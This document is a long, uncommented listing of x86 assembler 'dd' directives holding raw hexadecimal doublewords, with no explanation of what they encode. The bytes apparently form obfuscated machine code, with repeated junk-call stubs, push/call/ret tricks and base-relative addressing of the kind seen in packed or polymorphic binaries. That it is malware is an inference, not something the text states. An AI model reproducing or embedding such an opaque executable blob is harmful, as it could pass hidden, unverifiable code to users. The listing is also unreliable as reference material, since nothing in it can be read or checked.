dd 0F1C3406Fh, 820F0B78h, 14h, 0FE9h, 0A2491C00h, 790EC53h
dd 0A7E527B0h, 597134F1h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 285FC357h, 0BFDB7AF8h
dd 607DACF2h, 0F9D9D8Bh, 0BD830648h, 6482AD9h, 66850F03h
dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 46AC357h, 0DE99FE7h, 4000000h
dd 9CE5BA9Dh, 0AD0E8FDh, 38FEA05Eh, 83DF8B66h, 4BB689BDh
dd 840F0006h, 425h, 0FFAFEB80h, 4BB689B5h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0BBBD305Fh, 0F869FD9h, 88Dh, 8B666000h, 17E380D0h, 998D8961h
dd 0F064829h, 95FFD9B7h, 64809F5h, 66F8BF0Fh, 0B58BF98Bh
dd 64BB67Dh, 18B0F60h, 0F9000000h, 870Fh, 0C7610000h, 1000106h
dd 4DBD2B00h, 96064833h, 11E9h, 6F21A300h, 1A71D720h, 0A38FA60Fh
dd 0CAEB332Ah, 5750852Dh, 11E8h, 2F2A8700h, 19BFF7FAh
dd 6591CD40h, 2E28B5B0h, 10E81AC0h, 0BD000000h, 340C6E14h
dd 27C6862h, 18C4DA06h, 5B490B41h, 66965F5Bh, 0FFAD47BFh
dd 4BB689B5h, 299D8B06h, 0FF064803h, 48006195h, 39BD8B06h
dd 8B064800h, 4BB67DB5h, 9CE78006h, 0F25858Bh, 830F0648h
dd 6, 17C5BD2Bh, 86890648h, 0C4h, 0C150B0BFh, 5958B31h
dd 6A064814h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 50EDC355h, 83F8C096h, 6A04C2h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 9D8975C3h, 6482C15h, 6A205089h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 171FC356h
dd 8D0FD9E0h, 0Ch, 6870Fh, 9D890000h, 6482AF5h, 10860Fh
dd 0BE90000h, 3B000000h, 1D4FBDBh, 46DC1F06h, 858D76ABh
dd 64BCAD4h, 0B298D89h, 86890648h, 0B8h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 14h, 0DFC35343h, 11F19589h
dd 6A0648h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0C9C35242h, 8D294D2Bh, 0BD038C47h, 6481481h, 2F3D9D8Bh
dd 0B5FF0648h, 64BB689h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 36C35747h, 0A3BB6F42h, 5195FFB6h, 6A064800h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0F14BC356h
dd 21850910h, 50064830h, 0EE9h, 761D2B00h, 4B715678h, 0D5A1E786h
dd 89681C5Bh, 8E0F2434h, 5, 0E804A6BFh, 89B5FF68h, 6A064BB6h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0C130C353h, 0BA8B0DBCh, 0EF81B3C3h, 5A502E8Ah
dd 165DBD03h, 95FF0648h, 6481429h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 5BC35343h, 0B52910DDh, 6481B3Dh
dd 31A9BD83h, 0F000648h, 4E84h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0D1411E52h
dd 2632A1BAh, 800FFCC6h, 15h, 10E9h, 47E50700h, 85039A94h
dd 0EED2396h, 0D5333C20h, 29BB50E5h, 895F37C7h, 81662434h
dd 0FF21BFD3h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 4E9626C2h
dd 0E2B35D32h, 13FD95FFh, 0B5FF0648h, 64BB689h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B2C35141h, 6B91DB79h
dd 177D95FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 2945C1C3h, 4814DDBDh, 1DBD8306h
dd 206482Fh, 6C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 8B968FC3h, 4803ADBDh
dd 51858B06h, 6A064815h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 0C68FC356h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 6068C6C3h, 586CAD71h, 85C78AB3h, 64816E1h, 0
dd 0B878C2BBh, 0F277E91Ch, 8BF5FFFFh, 53006AC1h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 98FECE0h, 3717FC8Ah, 1BD319Ch, 8D064808h, 48125585h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 45BD8951h, 5006480Fh, 0F240489h, 0D83h
dd 8E900h, 65050000h, 0BD4EBBACh, 6A34B9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F6C35747h, 6AA195h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F4C35242h
dd 8B2808CBh, 0B7CC32D7h, 4E858DE8h, 6A064CB4h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0B320C350h, 7E9A314Fh, 4FECA0BCh, 65D8D01h, 9D330648h
dd 648118Dh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0D15BC356h, 0B767D38Ch
dd 159D8B3Dh, 50064830h, 89F98B66h, 6A2404h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6043C3h
dd 4813ED95h, 0CE806h, 14B30000h, 6704EA34h, 2AC73D6Eh
dd 0FE8B80EFh, 0BD8B615Eh, 6481401h, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 3D348C3h
dd 0CA70458Ch, 6A006AA4h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 0FFEBC350h, 482B2D95h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0EF81667Bh, 8D8D13F3h, 64B9938h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C0C35646h, 0BD6CE064h
dd 8D895A9Fh, 6482885h, 12E8D1FFh, 14000000h, 1E1B767Eh
dd 459D3128h, 0B36D11A7h, 32CC29EAh, 21BD8923h, 5B06480Eh
dd 30E5BD83h, 0F010648h, 5E85h, 8E900h, 5AD70000h, 60DDEB4Ch
dd 26A875Ch, 0D16CB81h, 60907C87h, 870Fh, 0F08B0000h, 41BF5061h
dd 90732003h, 95FF5B53h, 6480051h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 44C35343h, 8E57E5D7h, 81DB19B8h
dd 41F9CDEFh, 719D8B4Fh, 0E906482Bh, 0E0Eh, 0E8h, 0ED815D00h
dd 64CB458h, 0C7816660h, 880F693Eh, 6, 0E36AD081h, 0F616D43h
dd 858DDEB7h, 64B93DAh, 15BDB501h, 60500648h, 860Fh, 0D68B0000h
dd 24048961h, 2BC5BD8Bh, 0FF640648h, 35h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 64D98B45h, 2589h, 0FE8A0000h, 1AD185FFh, 0DF8B0648h
dd 0D7816650h, 6A5B75BDh, 0FDB5FFFFh, 6A064806h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0B163C353h, 7EF057B7h, 14E90A3Ah, 99000000h, 0D2D984F2h
dd 0B4E723F0h, 0BDDEC6Eh, 0FD4EFBA5h, 0FF61ECD2h, 4810D995h
dd 12EE906h, 0BD8B0000h, 6481581h, 0DA8B00B0h, 9D3370E6h
dd 64812E5h, 830F71E4h, 0
dd 830F613Ch, 10Ch, 0B370B860h, 7E920ECh, 30000000h, 8F4756C6h
dd 0E861013Ah, 0Ch, 526115A1h, 2F7A24BAh, 31F130Ah, 0F5BFB8Bh
dd 8B60C8B6h, 48059D95h, 6BA6106h, 0E9000000h, 0Fh, 0DD752E77h
dd 0ED07A31Ah, 53FDA90Ah, 0E997D4D1h, 8, 5031A3Dh, 0FCB935A5h
dd 8501C18Bh, 6481871h, 8B04E8C1h, 481281BDh, 0F766F506h
dd 318529E2h, 2B064804h, 0D2CF81C8h, 8B2725B1h, 12E8D1h
dd 76D30000h, 0CB102966h, 0F0CDB944h, 0A73728F4h, 6F4E1DF3h
dd 6E9h, 9AEE1C00h, 5B22C785h, 67E9h, 359D3300h, 8B064807h
dd 885h, 616BBB00h, 0C0837BCBh, 0B2BB6607h, 0C0835Ch, 0A89BD29h
dd 0D03B0648h, 0B830Fh, 0B5890000h, 6483145h, 33E9h, 0FF8D8B00h
dd 8BFFFFFFh, 1E183DEh, 22840Fh, 83BF0000h, 830809EDh
dd 0FFFFFFA5h, 9589FEFFh, 8, 0D78B6660h, 31ADB58Bh, 0E9610648h
dd 0
dd 3104B58Dh, 8D89064Ch, 64812F9h, 95FF006Ah, 648092Dh
dd 5C38166h, 1182B967h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 219D75C3h, 0E18370E1h
dd 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 1D7251EBh, 0C5E0D3B7h, 9ACF813Eh, 0FC104FA2h
dd 3ABBC02Bh, 0BA2A0EACh, 0
dd 14E8h, 7DF74800h, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h
dd 7191A1CBh, 0CD95898Ch, 5F06481Fh, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 6AD98Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 1324D9C3h, 0DDC97E71h, 8B60E306h
dd 48283995h, 21858B06h, 61064832h, 959D23h, 880D0648h
dd 0BF000000h, 36C12438h, 1405958Bh, 6A0648h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 65E858C3h
dd 26EF8166h, 258D8B7Fh, 6A064830h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8819C355h
dd 158D9D31h, 0B5890648h, 648070Dh, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 9D8B5818h, 648239Dh, 0BE8h, 8241D100h
dd 0CE6814A7h, 2814E7C3h, 0FDBD835Bh, 64812h, 9A840Fh
dd 95010000h, 6480BD1h, 19C9BD29h, 0B80648h, 0BB000000h
dd 46E18FA1h, 0C850Fh, 880F0000h, 6, 7151C381h, 8D8D66F1h
dd 6484E80h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 93C35545h, 2903758Ch, 48005585h, 6240BB06h, 8589005Dh
dd 64813D5h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 2B3AD9C3h, 641B84A4h, 13E9h, 0C679E700h
dd 8AF0A31Dh, 65CCAA8Dh, 0CBC9E4CDh, 90E1C10Fh, 2AD9BD83h
dd 0F000648h, 47F84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 294D2BC9h, 0D9BD838Dh
dd 106482Ah, 46D840Fh, 0EB810000h, 62318122h, 2AD9BD83h
dd 0F030648h, 42486h, 59BD2900h, 60064800h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A7C35242h, 0D98C66B7h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4FC35646h
dd 3195BD89h, 0E1800648h, 57006A04h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 18DDD3C2h
dd 0ED122A00h, 55B50927h, 0A064832h, 7A840FC9h, 6A000001h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0E3FDC353h, 0F8E84A9h, 1B1BB9CAh, 29DABF0Fh
dd 48166995h, 59858B06h, 6A064811h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B64CC353h
dd 8953BE10h, 480521B5h, 85335F06h, 6481219h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D5C35646h, 1CB75013h
dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 157CC353h, 0FEA2A21Eh, 13CD8D89h
dd 6A0648h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0EEC35141h, 4ED552CAh, 22998D29h, 4E80648h, 0FF000000h
dd 66001F03h, 8A50DA8Bh, 24448BFCh, 0FA8B6604h, 5660008Bh
dd 0CE8h, 0D4589000h, 7B5AC48Ch, 378C7507h, 665A5E7Bh
dd 8961D18Bh, 8B042444h, 8B6658DEh, 0FFDE8BDFh, 48074195h
dd 0F1BD0306h, 89064801h, 482FB1B5h, 89858906h, 6A064BB6h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 1539C352h, 158BB6A9h, 1BE08953h, 6AB96660h
dd 0CFBF0F6Dh, 0FE8B6661h, 1A0E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 81858B10h
dd 0B064BB6h, 482B65BDh, 1800C706h, 80000000h, 0B58B4EE3h
dd 64BB685h, 54D9D8Bh, 858B0648h, 6481A85h, 1AC59D89h
dd 66600648h, 8D29C38Bh, 64801F1h, 6A068961h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 804FC356h, 0D6BBE0DBh, 8B449B68h, 48115985h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 3652E578h, 890F0EBFh, 6, 3315BD8Bh, 63BF0648h, 89503527h
dd 81660446h, 965CA6E3h, 66525050h, 0F3872BBh, 0FE831h
dd 35E70000h, 7B9E0E03h, 0B3C4D39Bh, 0BE431613h, 5F5F5302h
dd 8996585Ah, 480F0985h, 81B5FF06h, 66064BB6h, 681870BBh
dd 2355F4D8h, 27243481h, 80234AF7h, 858D09F7h, 64BB689h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 17C35747h
dd 66904159h, 50A147BBh, 48E0Fh, 0BF660000h, 6A90786Ch
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0DCDC351h, 39BD8BF2h, 0FF06482Ah, 48074195h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 29954E63h, 0F1949E5h, 0BD8BFFBFh, 64811B1h
dd 10E8h, 0C3AAAA00h, 0F3133EA3h, 0BD643B29h, 72737C47h
dd 0DEB70F17h, 6A615Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 424D3AC3h, 8BCE7C54h, 318501DEh
dd 0C706480Bh, 482AD985h, 306h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0C8E4326h
dd 8E0FA0D4h, 19h, 13830Fh, 0EE90000h, 4000000h, 0BD55D29Ch
dd 8318A68Eh, 0D8B1AAF0h, 89BD83EEh, 64BB6h, 27840Fh, 0BF0F0000h
dd 3AE9DBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 0FA1377C3h, 0C305013h, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 6652DA8Bh, 5F1C4ABBh
dd 168A0Fh, 11E90000h, 0F0000000h, 6B5F432Dh, 0DAE26930h
dd 0E9B68718h, 0A5E073CAh, 2AD9BD83h, 0F030648h, 4BE85h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 415BC8AAh, 0AE3C4DE4h, 5800Fh, 0D0BF0000h
dd 0F3814E4h, 0BD83D9B7h, 64BB689h, 80840F00h, 0BF000004h
dd 61AFF022h, 0B689B5FFh, 0EB80064Bh, 0F595FFB4h, 6A064809h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 5535C352h, 241D61C6h, 0DE19D8Bh, 9D290648h
dd 6482735h, 0B67DB58Bh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 1C4647C3h, 6AE78065h
dd 4327BB66h, 106C7h, 12E80001h, 1F000000h, 0BE34C82Dh
dd 475B968Dh, 9E56DFFAh, 2F527473h, 5BDE8BB2h, 89DE8B50h
dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 310E8CC3h, 0FD70AE8Bh, 0BE9F894h, 39000000h
dd 4111934Eh, 0A73D8EC2h, 0B5FFCA99h, 64BB689h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CCC35242h, 39826B61h
dd 6195FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 81DD52C3h, 5AA3BFh, 8D2951DCh, 6480CB9h
dd 0B67DB58Bh, 890F064Bh, 6, 9DA3D381h, 858B378Ch, 6480F25h
dd 28E0F51h, 8B000000h, 86895FD8h, 0C4h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 17h, 0FCC35141h, 8B59B84Eh
dd 483061BDh, 12E906h, 7C510000h, 83CCC8D5h, 0DB524884h
dd 6A8ABB0h, 0C17082C0h, 1405958Bh, 6A0648h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BB661BC3h
dd 0E9520B61h, 0Ch, 0B3ABA9E0h, 3C326768h, 11FB06A5h, 4C2835Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C7C35040h
dd 4D16F506h, 0CC11A4E6h, 205089BAh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0BC35141h, 0EBFABB88h, 0B58954D3h
dd 6481CE1h, 10E9h, 89EB8800h, 35F770C8h, 0D607C693h, 13818A5h
dd 0D4858D82h, 66064BCAh, 0BB19C1BBh, 26F02927h, 0B88689h
dd 6A0000h, 0E0DBD8Bh, 0B5FF0648h, 64BB689h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 9C35141h, 5195FFh
dd 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 3EDDB1C3h, 12DE8E25h, 0D8BF0F39h, 859D8B50h
dd 5F06482Bh, 0DF8B6650h, 6A243489h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 44EEC352h
dd 0DFBF0F32h, 0B689B5FFh, 6A064Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 60A158C3h
dd 0D971B430h, 0FE8B5705h, 2995FF5Bh, 6A064814h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 7524C352h, 8932428Bh, 31A9BD83h, 0F000648h, 6384h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 9D8B6F83h, 6480F89h, 68C0Fh, 9D890000h, 6481099h, 4880F50h
dd 66000000h, 89C323BBh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 6BD180C3h, 49B53156h
dd 5B06482Bh, 0B689B5FFh, 8166064Bh, 0FFCCF3DBh, 4813FD95h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0BDBD8BC4h, 0FF064819h, 4BB689B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 78B68491h, 5A40A16h, 498D09B0h, 0FF06480Eh, 48177D95h
dd 3224BB06h, 0BD837089h, 6482F1Dh, 57840F02h, 0E9000000h
dd 14h, 0B893273Eh, 0A1F0C024h, 87602E08h, 7CBA3A0Eh, 79723574h
dd 1551858Bh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 542FE4C3h, 898D318Bh, 0C606482Ah
dd 0BE90000h, 4A000000h, 2B111D3Ch, 0B7ECC875h, 85C7D2A8h
dd 64816E1h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4FC35343h
dd 21BD23E1h, 0E9064817h, 0FFFFF2BBh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 81C35343h, 6DBD3347h, 89064807h
dd 480A599Dh, 7E906h, 7C3F0000h, 9FBB0B8Bh, 60C18B48h
dd 29EA8166h, 0ADBD8BB3h, 61064809h, 16DD9D8Bh, 858D0648h
dd 6481255h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 6EC35747h, 602E6BEDh, 0C29E281h, 0BD015330h, 6482FD1h
dd 8950F561h, 11E82404h, 1C000000h, 0CB9C6B8Bh, 0B54477D0h
dd 5376A614h, 489DB260h, 6A5FD98Ah, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 8487C613h
dd 0CE9CB5Ch, 0B4000000h, 3D38542Eh, 831B8121h, 6A7FFFC5h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 27AB5D4Fh, 9D123A36h, 12E860h, 850B0000h
dd 1B161B2Eh, 8E0801FEh, 0B99AAACBh, 0A68D4E4Bh, 3BA106BEh
dd 8B665979h, 858D61D0h, 64CC4C9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0BC35040h, 6268088Bh, 0E8F33794h
dd 14h, 7DFFD3E4h, 2805707h, 336E05E2h, 6FFCC26Fh, 806B0F15h
dd 1655BD89h, 835F0648h, 5E805C0h, 0CD000000h, 0BDFDBB11h
dd 5FDFBF0Fh, 158E0F50h, 50000000h, 31BF6652h, 0E8310FF9h
dd 5, 8CFF9CDFh, 585A5B81h, 8B240489h, 482A099Dh, 830F5106h
dd 2, 6A5BACB7h, 51006A00h, 5FDEB70Fh, 2B2D95FFh, 6A0648h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 66115EC3h, 6084A682h, 31AD8D89h, 0C1B50648h, 388D8D61h
dd 6A064B99h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 63CC353h, 0A5FA35ECh, 4EEF8166h
dd 6AD1FF9Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 0C9D0C351h, 5F54232Fh, 83D98B66h
dd 4830E5BDh, 850F0106h, 7Ah, 5E8h, 49420000h, 0AE916D8h
dd 12000000h, 6779F64Eh, 9E3E140Dh, 26A5F2Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 91C35040h, 499CF11Fh
dd 8B098422h, 606090FAh, 0AE9h, 94B6B800h, 4DF8613Bh, 6083BD88h
dd 50516161h, 5A310F52h, 50615F58h, 6E9h, 7BB38C00h, 906C5E9Eh
dd 0B19D8951h, 5F064805h, 5195FFh, 57E90648h, 0E800000Fh
dd 0
dd 0D3ED815Dh, 6A064CC4h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 0B2BCC350h, 895AD161h
dd 48330D9Dh, 0C59D2306h, 0FC064815h, 93DA858Dh, 6A064Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 7437FFC3h, 50FB8B86h, 8C7179BBh, 24048965h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D0C35747h, 5A4F764Ah
dd 25925D14h, 35FF64h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4CE8C353h
dd 0E9B34411h, 258964h, 57000000h, 13059D89h, 0FF5B0648h
dd 481AD185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 2ABE9BF8h, 3478F440h, 85BB22EEh
dd 6A38043Dh, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 1A752DBAh, 6310F14Bh, 8D31AADCh
dd 6481FADh, 2FB5B5FFh, 0F7810648h, 5E487725h, 10D995FFh
dd 0F9E90648h, 0B0000000h, 5860F00h, 0BB000000h, 5C8311h
dd 0E4F970E6h, 2870F71h, 0B3000000h, 0F613C7Dh, 0D783h
dd 5CBB6600h, 0C8B60FF8h, 0BAD88B66h, 6, 2E6D9D89h, 9D030648h
dd 648083Dh, 0BF60C18Bh, 48CCBFD1h, 8D0Fh, 0C1610000h
dd 0E95304E8h, 5, 70D3C75Ch, 0F7665FA8h, 0BD8B60E2h, 6480085h
dd 66A0BB66h, 8AC82B61h, 0B7D18BF9h, 0C9B5890Eh, 0E9064829h
dd 7Ch, 1B019529h, 858B0648h, 1, 23919D8Bh, 0C0830648h
dd 0F5516007h, 0D281665Eh, 8361C30Ch, 8E0F00C0h, 6, 604CE381h
dd 0D03B0867h, 0B830Fh, 95890000h, 64827C9h, 3BE9h, 0FF8D8B00h
dd 0FFFFFFFh, 58Fh, 36B6BB00h, 0E1835589h, 21840F01h, 0F000000h
dd 385h, 0F8B70F00h, 0A583DCB7h, 0FFFFFFFFh, 19589FEh
dd 53000000h, 0E95BD9B7h, 0
dd 4286B58Dh, 6A064Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 26B26BC3h, 0E947CD46h, 10h, 97030C6Bh
dd 496705B5h, 52F3A68Bh, 578DB984h, 0FFF8006Ah, 48092D95h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0C9BD23D9h, 0B906480Eh, 106Ch, 659D29h
dd 0E1830648h, 0AE9FCh, 0D5FA0000h, 0F178A726h, 0E5720987h
dd 0BE9FCh, 0BE8D0000h, 0AAB8E9A4h, 438E7049h, 6AC02BF6h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 7E4C351h, 0D8F7BDD4h, 0C4425D04h, 810FD22Bh
dd 9, 3830Fh, 8B660000h, 0C233ADDAh, 0D003E8D1h, 7504E983h
dd 0AFEF81F4h, 6A5F738Dh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 100FC352h, 69BD0BF1h
dd 0FC064815h, 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0E8F3A478h, 894C5D76h
dd 4807A58Dh, 5958B06h, 60064814h, 300D8D89h, 8D290648h
dd 648203Dh, 0FABF0F61h, 30258D8Bh, 8B660648h, 50D88AFEh
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 0D98B6658h
dd 3221BD8Bh, 0BD830648h, 64812FDh, 79840F00h, 89000000h
dd 48334D9Dh, 0B806h, 0BD8B0000h, 648116Dh, 12E9h, 5E4B900h
dd 68633CF0h, 846A1DF7h, 0ADB3DE91h, 8D555A46h, 484E808Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 336BBFB5h, 0E1FF2782h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 55C35343h, 63A3D62Dh, 0CB81EDC1h
dd 361DA813h, 2AD9BD83h, 0F000648h, 57684h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0FF21935Eh, 2AD9BD83h, 0F010648h, 56584h, 11E900h, 2730000h
dd 96F13923h, 0E6F70BF7h, 0AB3A598Eh, 60B4026Ah, 0DED9529h
dd 858B0648h, 6480919h, 0D9BD8361h, 306482Ah, 4FE860Fh
dd 8D890000h, 6480845h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0EE9B1D9h, 2C000000h
dd 0F943C7CCh, 0C18899Bh, 958815BEh, 298589C3h, 66064815h
dd 0BD8BD98Ch, 64812A1h, 6A04E180h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1F66C357h
dd 0FCADEB7Ch, 0AD88B66h, 0F8840FC9h, 6A000001h, 3E85000h
